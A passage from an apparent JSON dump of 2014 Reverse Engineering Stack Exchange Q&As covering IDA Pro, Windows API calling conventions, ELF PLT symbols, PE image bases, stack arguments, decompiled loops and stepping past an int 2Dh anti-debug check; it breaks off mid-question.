        "Answer": "<p>Looking at the website for the software vendor, <a href=\"http://www.meyetech.com/support/support98.html\" rel=\"nofollow\">it recommends</a> that the DVR on the other end of the connection be set to \"Substream, CIF or QCIF at 6-10 FPS\".  Those refer to the <a href=\"http://en.wikipedia.org/wiki/Common_Intermediate_Format\" rel=\"nofollow\">\"Common Intermediate Format\"</a> and \"Quarter Common Intermediate Format\" respectively.  They are defined within the <a href=\"http://www.itu.int/rec/T-REC-H.261-199303-I/en\" rel=\"nofollow\">\"H.261  Video codec for audiovisual services at p x 64 kbit/s\"</a> standard, so you may find sufficient detail within those documents (which are available for free) to be able to start making some intelligent guesses as to how to decode this particular protocol.  </p>\n\n<p>With that said, Wireshark, as least as of September 2014, does not support H.261 decoding. Perhaps you could add it.</p>\n"
    },
    {
        "Id": "6165",
        "CreationDate": "2014-09-03T21:39:44.333",
        "Body": "<p>I try to analyze malware since a few months and by examining the assembly code of a trojan for example, I see sometimes windows functions like <code>ws2_32.send</code> which is the <code>send()</code>-function, etc. That is not a problem to understand, I can go to: </p>\n\n<p><a href=\"http://msdn.microsoft.com/de-de/library/windows/desktop/ms740149%28v=vs.85%29.aspx\" rel=\"nofollow\">http://msdn.microsoft.com/de-de/library/windows/desktop/ms740149%28v=vs.85%29.aspx</a></p>\n\n<p>and read that, everything is okay. </p>\n\n<p>But I ask myself, how the people who writes that code put that function in their code. I mean, can you for example write in a C code the function </p>\n\n<pre><code>  int send(\n     __in  SOCKET s,\n     __in  const char *buf,\n     __in  int len,\n     __in  int flags);\n</code></pre>\n\n<p>and is it then so that the C compiler understands it ?\nThere are some other functions like <code>CopyFileA</code> for example which looks like:</p>\n\n<pre><code>  BOOL WINAPI CopyFile(\n  _In_  LPCTSTR lpExistingFileName,\n  _In_  LPCTSTR lpNewFileName,\n  _In_  BOOL bFailIfExists\n  );\n</code></pre>\n\n<p>Here I ask myself how the compiler understand the word <code>\"WINAPI\"</code> for example and so on.</p>\n\n<p>In general, if the people try to write such code to create a trojan, how they make clear that it should be a windows function? </p>\n",
        "Title": "Question about Windows-Functions in malware",
        "Tags": "|assembly|",
        "Answer": "<p>You're misunderstanding the use of the keyword. As the comment on your questions said, WINAPI is the calling convention for a function. WINAPI is #define'd to __stdcall which specifies how the stack is managed in relation to that function, which you can see documented on MSDN <a href=\"http://msdn.microsoft.com/en-us/library/zxk0tw93.aspx\" rel=\"nofollow\">here</a>. That article gives you a good overview of what it does and how it would get used in the header file. </p>\n\n<p>It's common for the calling convention to not be explicitly stated for CRT functions on Windows; but that's just in the documentation and doesn't mean the calling convention doesn't need to be declared similarly. Most functions (on x86) will use __stdcall. The most common exception is the printf() family of functions which use the cdecl calling convention. This has more to do with the history of how x86 was developed than any particular design choices.</p>\n\n<p>Most constants, WINAPI et al, can be found somewhere on MSDN or if you have Visual Studio by hitting F12.</p>\n\n<p>Now as far as a more general answer to what I take your question to be, as far as how/why you might see certain function calls in a particular sample, the short answer is that Windows provides both the standard C library calls and its own versions of the APIs. In this case, the send() function is defined in Winsock2.h and the function itself is in Ws2_32.lib (also available on that MSDN page you linked). However, what you might call the \"Windows API version\" of this function is also found in the same .h and .lib file: WSASend(), which is documented <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms742203(v=vs.85).aspx\" rel=\"nofollow\">here</a>.</p>\n\n<p>You can see by the two articles on MSDN these functions are almost identical, and if you look at the disassmebly for both of them you'd see that WSASend() and send() are almost the exact same function. But Windows supports both so if you learn on Unix or just using the standard C library you can write the same code on windows.</p>\n\n<p>Most of the other CRT functions (fopen, fread, printf) are implemented in the C Runtime Library, msvcrt.dll. They're mostly independent (compared to socket functions all being in Ws2_32.lib).</p>\n"
    },
    {
        "Id": "6171",
        "CreationDate": "2014-09-04T05:26:36.197",
        "Body": "<p>I'm newbie, I have a little knowledge of debugging x86 binary. However, I have to work with ARM.\nI'm getting stuck on install QEMU and can't debug an ARM binary.</p>\n\n<p>Thank you a lot for give me tutorials of reversing an example ARM binary.</p>\n",
        "Title": "How to debug ARM binary with IDA pro on Windows?",
        "Tags": "|ida|arm|qemu|",
        "Answer": "<p>Here is a simple video for setting up qemu for ARM. </p>\n\n<p><a href=\"http://www.securitytube.net/video/5818\" rel=\"nofollow\">http://www.securitytube.net/video/5818</a></p>\n\n<p>Using IDA you can open and disassemble the program fine. Just to debug you will probably get stuck using GDB as you can't run the arm binary in your current environment. </p>\n\n<p>Let me know if you have more questions.</p>\n"
    },
    {
        "Id": "6177",
        "CreationDate": "2014-09-05T07:31:56.520",
        "Body": "<p>I'm building an IDA Pro plugin (not a script) using the C++ SDK. On top of the frustration added by the lack of a proper API documentation, I cannot find a good way to debug my plugin.</p>\n\n<p>I've tried printing messages to the output window of IDA Pro. </p>\n\n<pre><code>...\nmsg(\"Everything OK up to point 1\\n\");\n...\nmsg(\"Everything OK up to point 2\\n\");\n...\n</code></pre>\n\n<p>However, whenever my plugin hits an error state, IDA Pro crashes before I get a chance to read the messages that my plug-in printed in the output window.</p>\n\n<p>While searching for a solution I stumbled upon the <a href=\"http://wingware.com/doc/howtos/idapython\" rel=\"noreferrer\">Wingware Python IDE</a> which can be used to debug IDAPython. The drawbacks however are that it is not free and I am not developing the plugin in python.</p>\n\n<p>One obvious thing to try is writing to a text file instead of writing to the IDA output window. However, that is not handy debugging. Isn't there a better way to debug an IDA Pro plugin built with C++ SDK?</p>\n",
        "Title": "How to debug an IDA Pro plugin built with the C++ IDASDK",
        "Tags": "|ida|ida-plugin|idapro-sdk|",
        "Answer": "<p>Most modern IDE's allow you to specify an executable to launch when debugging, you should specify your ida executable. Or otherwise, try to attach to the running IDA process.</p>\n\n<p>When you put a breakpoint in the run() function of your plugin, your IDE will stop at run,  and you can singlestep, etc from there.</p>\n\n<p>Also you if you enable 'break on exception' your IDE will probably figure out if the exception was in your plugin, and load the right source file for you.</p>\n"
    },
    {
        "Id": "6179",
        "CreationDate": "2014-09-05T13:29:53.697",
        "Body": "<p>I'd like to identify all late-binding calls made by a windows 32 or 64 executable program. I can take a look at the imported functions through the IAT but I'm unable to list the functions called during a program invocation.</p>\n\n<p>Is there a way to accomplish this?</p>\n",
        "Title": "List late binding functions",
        "Tags": "|windows|functions|iat|",
        "Answer": "<p><a href=\"http://www.dependencywalker.com/\">Dependency Walker</a> is your friend.</p>\n\n<p>Note that it's almost impossible to find out which libraries/entry points a program uses by static analysis alone, since the strings passed to <code>LoadLibrary</code> and <code>GetProcAddress</code> might be obfuscated, i.e. not visible in the binary. <code>Dependency Walker</code> catches those calls at runtime, which means a) you need to run the program - which may not be advisable if it's known malware - and b) it still might miss something if you don't execute that path of code. But within these restrictions, it's about the best you can get.</p>\n"
    },
    {
        "Id": "6189",
        "CreationDate": "2014-09-06T22:50:28.090",
        "Body": "<p>Is there a monitoring tool for Android except <code>logcat</code> which works like Process Monitor in Windows ?<BR>\nThanks</p>\n",
        "Title": "How to monitor APK files in Android System",
        "Tags": "|tools|android|apk|",
        "Answer": "<p>I have used \"File Monitor\" from SteelWorks (I am not associated with this company in any way) on a non-routed Android device and it works fine.</p>\n"
    },
    {
        "Id": "6204",
        "CreationDate": "2014-09-09T12:38:07.063",
        "Body": "<p>I'm analyzing a MIPS ELF executable with calls to the <code>exit()</code> function, however IDA PRO is not correctly recognizing the end of the block:</p>\n\n<p><img src=\"https://i.stack.imgur.com/9Scq4.png\" alt=\"enter image description here\"></p>\n\n<ul>\n<li><p><strong>Question</strong>: Is it possible to remove the blue arrow linking the <code>exit()</code> block with the next one ?</p></li>\n<li><p><strong>Question</strong>: Is it possible to enhance the disassembly if IDA by specifying exit as a block end ?</p></li>\n</ul>\n",
        "Title": "Correct IDA PRO Control Flow Graph",
        "Tags": "|ida|",
        "Answer": "<p>It is possible to define a function exit as \"no return\" function.\nThis should fix the problem.</p>\n\n<p>To do it you should find exit function, right click on it, choose \"edit function\" and mark \"Does not return\" checkbox.</p>\n"
    },
    {
        "Id": "6206",
        "CreationDate": "2014-09-09T16:02:58.360",
        "Body": "<p>Is IDA (or some external plugin) capable of adding comments describing values contained in registers to every branch instruction ?</p>\n\n<p>e.g.</p>\n\n<pre><code>ADD.W           R8, R10, #0x78\nMOVS            R5, #0\nADD.W           R1, R10, #0xE8\nSTR             R1, [SP,#0x1C+var_1C]\nloc_xxxxxxxx\nMOV             R0, R5\nMOV             R1, R8\nBL              sub_xxxxxxxx ; r0 = #0, r1 = R10 + #0x78\n</code></pre>\n\n<p>where the comment at BL <em>sub_xxxxxxxx</em> would be generated automatically</p>\n",
        "Title": "IDA Pro get register values before branch",
        "Tags": "|ida-plugin|",
        "Answer": "<p>The open-source IDA Pro script <a href=\"https://github.com/deresz/funcap\" rel=\"nofollow noreferrer\"><strong>funcap</strong></a> does 99% of what you want. I'd recommend using it as a foundation and making some minor tweaks to get it to do exactly what you want.</p>\n\n<p><img src=\"https://i.stack.imgur.com/v4TPU.png\" alt=\"funcap\"></p>\n"
    },
    {
        "Id": "6213",
        "CreationDate": "2014-09-10T04:06:24.610",
        "Body": "<p>Doing some messing around with ELF (of both the x86 and ARM varieties).</p>\n\n<p>Associating symbol names with entries in the <code>.got</code> section is straightforward.  Find the <code>.got</code> section, find the relocation section <code>.rel.plt</code>/<code>.rela.plt</code> whose <code>.sh_info</code> contains the index of the <code>.got</code>, and find the symbol section <code>.dynsym</code> that contains the symbol names.</p>\n\n<p>Everything lines up nicely between these sections, and I can accurately assign symbol names to entries in the <code>.got</code>.  </p>\n\n<p>However, I also want names for the stubs in the <code>.plt</code> section.  A rough percentage of the time, symbols for the <code>.plt</code> can be inferred based on the ordering of <code>.got</code> symbols, and an offset from the base of the <code>.plt</code> section.  For whatever reason, occasionally this is not the case.</p>\n\n<p>Binutils <code>objdump</code> can accurately generate them for x86, and IDA can accurately generate them for x86 and ARM (both without <code>-g</code> debugging symbols).  How are these generated?</p>\n\n<p>In the case of IDA, I could reasonably assume there's some advanced logic going on based on interpretation of the instructions in the <code>.plt</code>, but I know that must not be the case for <code>objdump</code>.</p>\n",
        "Title": "Associating Symbol Names with .PLT Entries",
        "Tags": "|ida|elf|got|plt|",
        "Answer": "<p>See <a href=\"http://www.sourceware.org/ml/binutils/2004-04/msg00469.html\" rel=\"nofollow\">this thread</a>. Basically, they rely on the fact that the order of PLT relocations matches the order of the stubs in <code>.plt</code> section, and the stubs are all of the same size.</p>\n\n<p>On some platforms you can also use <code>st_value</code> of the symbol entry in the dynamic symbol table.</p>\n\n<p>IDA indeed usually does not rely on the order of symbols/relocations but checks the actual instructions in the stub.</p>\n"
    },
    {
        "Id": "6242",
        "CreationDate": "2014-09-15T18:00:31.857",
        "Body": "<p>Having stumbled upon this question (and answer): <a href=\"https://stackoverflow.com/questions/2170843/va-virtual-adress-rva-relative-virtual-address\">https://stackoverflow.com/questions/2170843/va-virtual-adress-rva-relative-virtual-address</a> on my quest for understanding Windows' PE format, I'm wondering: why is the default imagebase value 0x400000? \nWhy couldn't we just start at 0? A VA would then be, in all practical purposes, equal to an RVA. </p>\n\n<p>I'm clearly missing something, but I've been unable to find a reasonable explanation of this for the last 40 minutes.</p>\n",
        "Title": "windows - Why is the imagebase default 0x400000?",
        "Tags": "|windows|pe|",
        "Answer": "<p>you can alter the base if you so wish msvc compile drivers with an image base of 0x10000</p>\n\n<pre><code>:\\&gt;kd -c \"!dh acpi;q\" -z c:\\WINDOWS\\system32\\drivers\\acpi.sys | grep -i image\nFile Type: EXECUTABLE IMAGE\n00010000 image base\n    5.01 image version\n   2DD80 size of image\n\n:\\&gt;\n</code></pre>\n\n<p>here is how to alter usermode executables imagebase base must be multiples of 64k if base:0 is used exe will be having an image base of 0x10000 </p>\n\n<pre><code>:\\&gt;dir /b &amp; type * &amp; cl /nologo /Zi * /link /base:0x200000 &amp; dir /b\nsysbp.cpp\n\nsysbp.cpp\n\n\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\nint main (void)\n{\n    printf(\"all the bases belongs to base\\n\");\n    exit(0);\n}sysbp.cpp\nsysbp.cpp\nsysbp.exe\nsysbp.ilk\nsysbp.obj\nsysbp.pdb\nvc100.pdb\n\n:\\&gt;sysbp.exe\nall the bases belongs to base\n\n:\\&gt;cdb -c \"q;\" sysbp.exe | grep -i modload\nModLoad: 00200000 00222000   sysbp.exe\nModLoad: 7c900000 7c9b2000   ntdll.dll\nModLoad: 7c800000 7c8f6000   C:\\WINDOWS\\system32\\kernel32.dll\nq\n\n:\\&gt;\n</code></pre>\n"
    },
    {
        "Id": "6252",
        "CreationDate": "2014-09-17T12:21:24.520",
        "Body": "<p>Im newbie at reverse engineering and I was wondering what is the meaning of declaration <code>var_18 = byte ptr -18</code> and the others like it in the picture.</p>\n\n<p><img src=\"https://i.stack.imgur.com/0Si9w.png\" alt=\"IDA Pro screenshot\"></p>\n\n<p>I know that <code>byte ptr</code> means it is a pointer to a byte variable, but why does it have negative value. And also why do all of them have the same address?</p>\n",
        "Title": "Assembly variable meaning",
        "Tags": "|ida|disassembly|",
        "Answer": "<p>The dis-assembler display all the variables as having the same address, which is the function's first command (004014CE push ebp in this case).</p>\n\n<p>variable with a <strong>positive</strong> offset is a <em>parameter to the function</em>, where a variable with a <strong>negative</strong> offset is usually a <em>local variable</em>. This is of course not always the case but you can take it as a general rule of thumb.</p>\n"
    },
    {
        "Id": "6261",
        "CreationDate": "2014-09-19T16:58:54.263",
        "Body": "<p>I have the following lines discovered in a piece of code (using IDA PRO) :</p>\n\n<pre><code> ...\n ...\n push 44h\n pop edi\n push edi        ; size_t\n xor esi, esi\n lea eax, [ebp+StartupInfo]\n push esi        ; int \n push eax        ; void *\n call _memset\n ...\n ...\n</code></pre>\n\n<p>When I saw the line <strong>lea eax, [ebp+StartupInfo]</strong> I thought, okay eax is a pointer to the structure STARTUPINFO. With int esi = 0 or NULL (see the line <strong>xor esi, esi</strong>) and with size_t edi = 44h and by calling memset, they must fill the first 44 bytes of STARTUPINFO (that would be the elements cb, lpReserved,....,wShowWindow).</p>\n\n<p>But the line \n     push eax        ; void *</p>\n\n<p>irritates me. How can eax has the type Startupinfo and void at the same time? </p>\n\n<p>After that, I found out that the first parameter of memset()-function must have the type void. And so, the question mark in my mind is now bigger...</p>\n",
        "Title": "Competitive Types",
        "Tags": "|assembly|struct|",
        "Answer": "<p>IDA knows that the prototype for the <code>_memset</code> function is <code>_memset(void *, int, size_t)</code>, so it's showing you that the value of <code>eax</code> in <code>push eax</code> is for the <code>void *</code> parameter.</p>\n\n<p>However, later on in this function, a pointer to the <code>StartupInfo</code> structure is likely passed to <code>CreateProcess</code>, which is why IDA named it as such.</p>\n\n<blockquote>\n  <p>How can eax has the type Startupinfo and void at the same time?</p>\n</blockquote>\n\n<p><code>eax</code> is just a register that holds a value, which in your disassembly above is the address of the <code>StartupInfo</code> structure. Types are high-level concepts, so when handled by <code>_memset</code>, the value of <code>eax</code> is interpreted as a <code>void *</code>, and when it's handled by <code>CreateProcess</code>, it's interpreted as a pointer to a <code>STARTUPINFO</code> structure.</p>\n"
    },
    {
        "Id": "6263",
        "CreationDate": "2014-09-19T17:58:45.217",
        "Body": "<p>I am facing with a software made in Java. This program is a group of jar called in a flow after the first startup.jar</p>\n\n<p>There is a way or method to follow executing and know which class is currently running without inject a log class inside all class files?</p>\n\n<p>Thanks</p>\n",
        "Title": "How to \"follow\"Java software executing",
        "Tags": "|java|",
        "Answer": "<p>Your best bet is probably <a href=\"http://www.aspectsecurity.com/tools/javasnoop\" rel=\"nofollow noreferrer\">JavaSnoop</a>:</p>\n\n<p><img src=\"https://i.stack.imgur.com/IXzEI.png\" alt=\"JavaSnoop\"></p>\n\n<p>Source code and binaries available from <a href=\"https://code.google.com/p/javasnoop/\" rel=\"nofollow noreferrer\">here</a>.</p>\n\n<p>Presentation and demo video available <a href=\"http://www.youtube.com/watch?v=ipuSmbxBxKw\" rel=\"nofollow noreferrer\">here</a>.</p>\n"
    },
    {
        "Id": "6268",
        "CreationDate": "2014-09-20T19:53:51.657",
        "Body": "<p>I'm analyzing a PE file using <code>IDA Pro</code> that is using <code>int 2Dh</code> technique as anti debugging:  </p>\n\n<pre><code>CODE:00455050 push    ebp\nCODE:00455051 mov     ebp, esp\nCODE:00455053 push    ecx\nCODE:00455054 push    ebx\nCODE:00455055 push    esi\nCODE:00455056 push    edi\nCODE:00455057 xor     eax, eax\nCODE:00455059 push    ebp\nCODE:0045505A push    offset loc_455076\nCODE:0045505F push    dword ptr fs:[eax]\nCODE:00455062 mov     fs:[eax], esp\nCODE:00455065 int     2Dh             ; Windows NT - debugging services: eax = type\nCODE:00455067 inc     eax\nCODE:00455068 mov     [ebp+var_1], 1\nCODE:0045506C xor     eax, eax\nCODE:0045506E pop     edx\nCODE:0045506F pop     ecx\nCODE:00455070 pop     ecx\nCODE:00455071 mov     fs:[eax], edx\nCODE:00455074 jmp     short loc_455084\n</code></pre>\n\n<p>How should I config IDA Pro to handle this interrupt/exception in dynamic analyzing?<br>\nI'm Using the local win32 debugger</p>\n",
        "Title": "Handling INT 2D anti-debugger technique in IDA Pro",
        "Tags": "|ida|debugging|anti-debugging|",
        "Answer": "<p>The code is expecting an exception to occur, which will happen in the absence of a debugger.  If a debugger is present, the breakpoint exception will usually be suppressed by the debugger, and execution will continue at either 0x455067 or 0x455068, depending on the debugger.</p>\n\n<p>You have two simple choices: one choice is that you could just let execution reach 0x455084 and then change var_1 back to zero (or whatever value that it had originally).  What you don't want is for it to have the value of \"1\".</p>\n\n<p>The other choice is to change the byte at 0x455065 from 0xCD to 0xFF (for example) and then let that execute.  This sequence will cause an exception to occur, which is really what you want to happen (note that the exception code won't be correct, so you'll need to watch if the code checks for a 0x80000003, and take that code path).  The execution will be transferred to the handler at 0x455076, at which point you can change the byte at 0x455065 back to 0xCD (in case the code is self-checking), and then resume debugging.</p>\n"
    },
    {
        "Id": "6271",
        "CreationDate": "2014-09-21T01:23:54.157",
        "Body": "<p>I'm trying to clean up the pseudo code to make it compile and function similar if not exactly the same as the original code.</p>\n\n<p>This bit which looks like this appears in various places I'm trying to figure out what it exactly means.</p>\n\n<pre><code>  if ( ZonePlayerCount &gt; 0 )\n  {\n    v3 = 0;\n    v4 = 0;\n    v5 = playerPointerList;\n    v6 = &amp;playerPointerList[1];\n    do\n    {\n      if ( *(unsigned int *)&amp;(*v5)-&gt;IPAddressDWORD.S_un.S_un_b.s_b1 == IPAddress &amp;&amp; (*v5)-&gt;Port == Port )\n      {\n        printf(\"Connection is broken because same ip/port requested another connection\\n\");\n        sub_41CBD0((int)&amp;(*v5)-&gt;encryptionPointer-&gt;ConnectionStatus);\n        Memory = *v5;\n        if ( *v5 )\n        {\n          DisconnectUser(*v5);\n          free(Memory);\n        }\n        --ZonePlayerCount;\n        memcpy(v5, v6, 4 * (v4 + ZonePlayerCount));\n        --v3;\n        v4 -= 0x3FFFFFFFu;\n        v6 = (char *)v6 - 4;\n        --v5;\n      }\n      ++v3;\n      v4 += 0x3FFFFFFFu;\n      v6 = (char *)v6 + 4;\n      ++v5;\n    }\n    while ( v3 &lt; ZonePlayerCount );\n  }\n</code></pre>\n\n<p>Other places like this..</p>\n\n<pre><code>    v1 = 0;\n    if ( ArenaArrayLength &gt; v1 )\n    {\n      v18 = 0;\n      v19 = Arenas;\n      v20 = &amp;Arenas[1];\n      do\n      {\n        if ( ProcessArena(*v19) )\n        {\n          if ( (*v19)-&gt;ArenaName[0] )\n            WriteSubGameLog(\"Private arena dropped: %s\\n\", (*v19)-&gt;ArenaName);\n          else\n            WriteSubGameLog(\"Arena dropped\\n\");\n          bufa = *v19;\n          if ( *v19 )\n          {\n            ShutdownArena(*v19);\n            free(bufa);\n          }\n          --ArenaArrayLength;\n          memcpy(v19, v20, 4 * (v18 + ArenaArrayLength));\n          --v1;\n          v18 -= 0x3FFFFFFFu;\n          v20 = (char *)v20 - 4;\n          --v19;\n        }\n        ++v1;\n        v18 += 0x3FFFFFFFu;\n        v20 = (char *)v20 + 4;\n        ++v19;\n      }\n      while ( v1 &lt; ArenaArrayLength );\n    }\n</code></pre>\n\n<p>Assembly for the first piece of pseudo code I provide here.</p>\n\n<pre><code>.text:00412D7B                 mov     esi, offset playerPointerList\n.text:00412D80                 mov     ebx, (offset playerPointerList+4)\n.text:00412D85\n.text:00412D85 loc_412D85:                             ; CODE XREF: NewConnectionRequest+C0j\n.text:00412D85                 mov     eax, [esi]\n.text:00412D87                 mov     ecx, [esp+20h+IPAddress]\n.text:00412D8B                 cmp     [eax+2F3h], ecx\n.text:00412D91                 jnz     short loc_412DFC\n.text:00412D93                 mov     dx, [esp+20h+Port]\n.text:00412D98                 cmp     [eax+2F7h], dx\n.text:00412D9F                 jnz     short loc_412DFC\n.text:00412DA1                 push    offset aConnectionIsBrok ; \"Connection is broken because same ip/port \"...\n.text:00412DA6                 call    _printf\n.text:00412DAB                 mov     eax, [esi]\n.text:00412DAD                 add     esp, 4\n.text:00412DB0                 mov     ecx, [eax+28h]\n.text:00412DB3                 call    sub_41CBD0\n.text:00412DB8                 mov     ecx, [esi]      ; player\n.text:00412DBA                 test    ecx, ecx\n.text:00412DBC                 mov     [esp+20h+Memory], ecx\n.text:00412DC0                 jz      short loc_412DD4\n.text:00412DC2                 call    DisconnectUser\n.text:00412DC7                 mov     ecx, [esp+20h+Memory]\n.text:00412DCB                 push    ecx             ; Memory\n.text:00412DCC                 call    ??3@YAXPAX@Z    ; operator delete(void *)\n.text:00412DD1                 add     esp, 4\n.text:00412DD4\n.text:00412DD4 loc_412DD4:                             ; CODE XREF: NewConnectionRequest+70j\n.text:00412DD4                 mov     eax, ZonePlayerCount\n.text:00412DD9                 dec     eax\n.text:00412DDA                 mov     ZonePlayerCount, eax\n.text:00412DDF                 add     eax, edi\n.text:00412DE1                 shl     eax, 2\n.text:00412DE4                 push    eax             ; Size\n.text:00412DE5                 push    ebx             ; Src\n.text:00412DE6                 push    esi             ; Dst\n.text:00412DE7                 call    _memcpy\n.text:00412DEC                 add     esp, 0Ch\n.text:00412DEF                 dec     ebp\n.text:00412DF0                 sub     edi, 3FFFFFFFh\n.text:00412DF6                 sub     ebx, 4\n.text:00412DF9                 sub     esi, 4\n.text:00412DFC\n.text:00412DFC loc_412DFC:                             ; CODE XREF: NewConnectionRequest+41j\n.text:00412DFC                                         ; NewConnectionRequest+4Fj\n.text:00412DFC                 mov     eax, ZonePlayerCount\n.text:00412E01                 inc     ebp\n.text:00412E02                 add     edi, 3FFFFFFFh\n.text:00412E08                 add     ebx, 4\n.text:00412E0B                 add     esi, 4\n.text:00412E0E                 cmp     ebp, eax\n.text:00412E10                 jl      loc_412D85\n</code></pre>\n\n<p>As far as I understand it is that the <code>0x3FFFFFFF</code> has something to do with the bounds of the array?</p>\n\n<p>I think after the DisconnectUser and free of memory all the playerPointer pointers get shifted to the left is that correct? or it just changes the counter in different paths.</p>\n\n<p>I think the counter is either <code>v3</code> can keep increasing while the loop is going but when a player gets removed it starts checking from the end of the list or something?</p>\n",
        "Title": "IDA PRO Hex-Rays 1.5 pseudo code understanding -=0x3FFFFFFFu; += 0x3FFFFFFFu;",
        "Tags": "|ida|decompilation|deobfuscation|hexrays|",
        "Answer": "<p>I think it should look like this I am 99.9% feel it's a element shifter something tells me that <code>0x3FFFFFFF</code> is max bounds of a array so it's some compiler thing that it appends to make sure it gets the end of the array.</p>\n\n<p>I was wrong <code>0x3FFFFFFF</code> is used to create signed numbers to emulate subtracting by adding. See comment by DCoder</p>\n\n<pre><code>  if ( ZonePlayerCount &gt; 0 )\n  {\n    v3 = 0;\n\n    do\n    {\n      if ( playerPointerList[v3].IPAddressDWORD.S_un.S_un_b.s_b1 == IPAddress &amp;&amp; playerPointerList[v3].Port == Port )\n      {\n        printf(\"Connection is broken because same ip/port requested another connection\\n\");\n        sub_41CBD0((int)&amp;playerPointerList[v3].encryptionPointer-&gt;ConnectionStatus);\n        Memory = *v5;\n        if ( *v5 )\n        {\n          DisconnectUser(*v5);\n          free(Memory);\n        }\n\n        memcpy(&amp;playerPointerList[v3], &amp;playerPointerList[v3 + 1], 4 * (ZonePlayerCount - v3 - 1));\n        //or\n        memmove(&amp;playerPointerList[v3], &amp;playerPointerList[v3 + 1], (ZonePlayerCount - v3 - 1) * sizeof(&amp;playerPointerList));\n        --ZonePlayerCount;\n        --v3;\n      }\n      ++v3;\n    }\n    while ( v3 &lt; ZonePlayerCount );\n  }\n</code></pre>\n\n<p>Let me know if this is wrong, I'll remove the answer. (don't have original source code to compare against).</p>\n\n<p>Thought I shouldn't be using <code>memcpy</code> because it may leave junk in memory at the very end but i think that junk does no harm and eventually will be replaced with something useful when the time comes.</p>\n\n<p>Although it does seem <code>memmove()</code> is better suited here.</p>\n"
    },
    {
        "Id": "6273",
        "CreationDate": "2014-09-21T13:41:29.650",
        "Body": "<p>i have the following function with three arguments:</p>\n\n<pre><code> sub_602667B proc near \n\n arg_0 = dword ptr 4\n arg_4 = dword ptr 8\n arg_8 = dword ptr 0Ch\n\n push    [esp+arg_8]\n push    [esp+4+arg_4]\n push    15\n push    [esp+0Ch+arg_0]\n</code></pre>\n\n<p>Then I make the following sketch : </p>\n\n<pre><code> esp, ebp -&gt; | Old EBP        |  +0\n             | Return Address |  +4\n             | Argument 1     |  +8\n             | Argument 2     |  +12\n             | Argument 3     |  +16\n</code></pre>\n\n<p>And now I have the following on my paper:</p>\n\n<pre><code>   push    [esp+arg_8]     =&gt; is Argument 2,( because esp + 12(=0Ch) = Argument 2\n   push    [esp+4+arg_4]   =&gt; is Argument 2,( because esp + 4 + 8 = Argument 2 )\n   push    15\n   push    [esp+0Ch+arg_0] =&gt; is Argument 3,( because esp + 12 + 4 = 16 = Argument 3\n</code></pre>\n\n<p>So my question would be : Is that sketch ok? I wanted to ask because the point that Argument 2 is pushed twice and Argument 1 is not taken surprises me </p>\n",
        "Title": "Right order of function arguments",
        "Tags": "|assembly|stack|arguments|",
        "Answer": "<p>Your code snippet does not contain <code>push esp, ebp</code>, so why would there be an \"old EBP\" on the stack? At the beginning of the function, your stack should look like this:</p>\n\n<pre><code>esp + 00 | return address\nesp + 04 | Argument 1 (arg_0)\nesp + 08 | Argument 2 (arg_4)\nesp + 0C | Argument 3 (arg_8)\n</code></pre>\n\n<p>After that, remember that <code>esp</code> changes after each <code>push</code>. IDA is already doing the maths for you and splitting the displacement into the <code>+4</code> and <code>+arg_4</code> parts \u2014 they represent \"balance <code>esp</code> back to its initial value\" and \"convert the remaining offset to a local variable\", respectively. The function is pushing exactly those variables which are referenced:</p>\n\n<pre><code>push    [esp+arg_8]      ; Argument 3\npush    [esp+4+arg_4]    ; Argument 2\npush    15\npush    [esp+0Ch+arg_0]  ; Argument 1\n</code></pre>\n\n<hr>\n\n<p>If you want to find out more, you can highlight the <code>[esp+4+arg_4]</code> part in the disassembly and press <kbd>Q</kbd> to convert the displacement to a single number.</p>\n\n<p>Then go to Options > General... > Disassembly and enable the <code>Display disassembly line parts: [x] Stack pointer</code> setting. </p>\n\n<p>Now you see the difference between the <code>esp</code> value at the start of the function and the <code>esp</code> value in the current line.</p>\n\n<p>Subtract that difference from the displacement in the <code>push</code>, and you should get the right local variable.</p>\n"
    },
    {
        "Id": "6278",
        "CreationDate": "2014-09-22T05:14:42.187",
        "Body": "<p>Test is on x86 32bit Linux, Ubuntu 12.04, GCC 4.6.3 objdump 2.22</p>\n\n<p>Basically when I use <code>gcc</code> to produce assembly code of function <code>foo</code> like this:</p>\n\n<pre><code>gcc -S foo.c -O2\n</code></pre>\n\n<p>At the end of function <code>foo</code>, I can get a sequence of instructions like this (I modified it and attached each instruction with its machine code to make it clear):</p>\n\n<pre><code>             ......\n1977                                                 .cfi_restore_state\n1978  8B150000 0000                                  movl    nodes, %edx\n1979  89442410                                       movl    %eax, 16(%esp)\n1980  A1000000 00                                    movl    i_depth, %eax\n1981  8974240C                                       movl    %esi, 12(%esp)\n1982  C7442404 FC000000                              movl    $.LC55, 4(%esp)\n1983  89542414                                       movl    %edx, 20(%esp)\n1984  89442408                                       movl    %eax, 8(%esp)\n1985  C7042401 000000                                movl    $1, (%esp)\n1986  E8FCFFFF FF                                    call    __printf_chk\n1987  E937FFFF FF                                    jmp     .L181\n1988                                         .L186:\n1989  E8FCFFFF FF                                    call    __stack_chk_fail\n\nfoo1:\n</code></pre>\n\n<p>Which looks normal.</p>\n\n<p>However, when I compiled + linked to create the ELF executable file, and then disassembly it with <code>objdump</code> like this:</p>\n\n<pre><code>gcc foo.c -O2\nobjdump -Dr -j .text foo\n</code></pre>\n\n<p>The instruction produced by disassembler looks like this (I modified a little bit to make it easier to understand):</p>\n\n<pre><code>11856 89442410                                mov %eax,0x10(%esp)\n11857 A1000000 00                             mov 0x80851AC,%eax\n11858 8974240C                                mov %esi,0xC(%esp)\n11859 C7442404 00000000                       movl $S_0x8064658,0x4(%esp)\n11860 89542414                                mov %edx,0x14(%esp)\n11861 89442408                                mov %eax,0x8(%esp)\n11862 C7042401 000000                         movl $0x1,(%esp)\n11863 E8FCFFFF FF                             call __printf_chk\n11864 E933FFFF FF                             jmp 0x80547EB\n11865\n11866 E8FCFFFF FF                             S_0x80548BC : call __stack_chk_fail\n11867 EB0D                                    jmp foo1\n11868 90                                      nop\n11869 90                                      nop\n11870 90                                      nop\n11871 90                                      nop\n11872 90                                      nop\n11873 90                                      nop\n11874 90                                      nop\n11875 90                                      nop\n11876 90                                      nop\n11877 90                                      nop\n11878 90                                      nop\n11879 90                                      nop\n11880 90                                      nop\n11881                                         foo1:\n</code></pre>\n\n<p>Looking at the end of function <code>foo</code>, I find out a sequence of instructions which can not be found in the original assembly code.</p>\n\n<p>It seems like a padding issue, but I am not sure.</p>\n\n<p>So my questions are:</p>\n\n<ol>\n<li>What's these 